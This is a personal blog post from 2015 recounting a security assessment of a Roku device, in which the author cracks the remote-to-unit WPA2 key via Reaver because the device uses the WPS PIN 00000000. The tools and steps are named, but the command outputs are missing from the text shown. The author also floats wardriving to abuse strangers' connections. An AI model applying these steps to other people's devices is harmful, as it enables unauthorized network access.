07/26/2015 So my weekend ended up being somewhat of a Roku vulnerability assessment project. Starting with remotely sending API requests to navigate through Roku menu’s from a bash shell to issue a reboot or factory-reset, adding channels, etc.. to ultimately leading to cracking the WPA2-PSK key between the Roku “Wifi-Direct” remote control and the Roku base-station. My thought process was that if I can crack the WPA2-PSK, and connect to the Roku SSID, that this could be potentially exploited in a wardrive type of scenario leading to abusing others’ internet connections (through their Roku’s), depending on how they’re set up. The ability to connect to a users’ Roku SSID could also lead to compromise of the internal network the Roku is sitting on. The first thing I looked into was the “remote pairing” function. I wondered whether the PSK was passed along during the pairing process. That didn’t happen. No EAPOL’s were transmitted during the “Remote pairing” phase. What i did find, was that the EAPOL handshake occurred after a reboot of the Roku. Once the Roku unit is rebooted, the remote control passes the WPA2-PSK to the “base-station” for authentication. This is what allows communication between the remote and the Roku. The remote is the “station”, and the Roku unit is the WAP. The remote and station setup up their own Wi-Fi network for communication. It looks like the process Roku uses for this connectivity between the remote and the “base-station”, is “Wifi-Direct“, similar to a standard ad-hoc WiFi mode. So, firing up airodump-ng caught the handshake pretty quickly (within 4 minutes) upon reboot of the unit:
First, i ran aircrack-ng with a password list I’ve compiled over time against the captured EAPOL’s with no luck. I also created a custom dictionary (Company name, Serial Number variations, Roku MAC Addresses, etc..), added it to my existing wordlist, and ran a crack using John the Ripper with the “–rules” option enabled on a GPU-based password cracking machine with 4 GPU’s in it. No luck there either. Seeing as how I probably wasn’t going to crack the PSK using either of those methods due to probably an extremely complex PSK scheme (i’d hope), i had to find another way. My thought was maybe they’re using a WPS-type setup in connecting the remote control to the unit. This turned out to be true: iw wlan0 scan output:
I immediately fired up our good friend Reaver and gave it a go. After trying a number of arguments and getting nothing but fails:
This one did the trick (in 5 seconds):
So…it looks like Roku is using a WPS PIN of “00000000” (bad, in general) for the connection between the remote and the unit, and we’ve also cracked the WPA2-PSK. Even with the PSK being insanely long, the weak WPS PIN or even WPS implementation, in general, cancels out the strength of the PSK. Having now obtained the pre-shared key that authenticates the remote control to the base-station, it was a pretty simple task associating with the Roku from a linux-based wireless client using a wpa_supplicant configuration in addition to a static wlan0 IP config in /etc/network/interfaces: wpa_supplicant.conf:
/var/log/daemon.log:
And although wireless association with the Roku from a third-party wireless client was successful, due to the nature of the connection between the remote control and the base station being an “ad-hoc” type of “enclosed” wireless network, I have yet to be able to successfully pass-thru to the home wireless network, which provides the internet access for the Roku itself. Things
I’ve tried already with no success: At the end of the day, it was still interesting to crack the PSK and WPS PIN. If anyone has any thoughts or suggestions on escalating this flaw (or absense of a secure PIN) to getting internet connectivity through the Roku, don’t hesitate to drop a line. Take-aways: 1. Roku WPA2-PSK cracked
due to weak WPS PIN
|
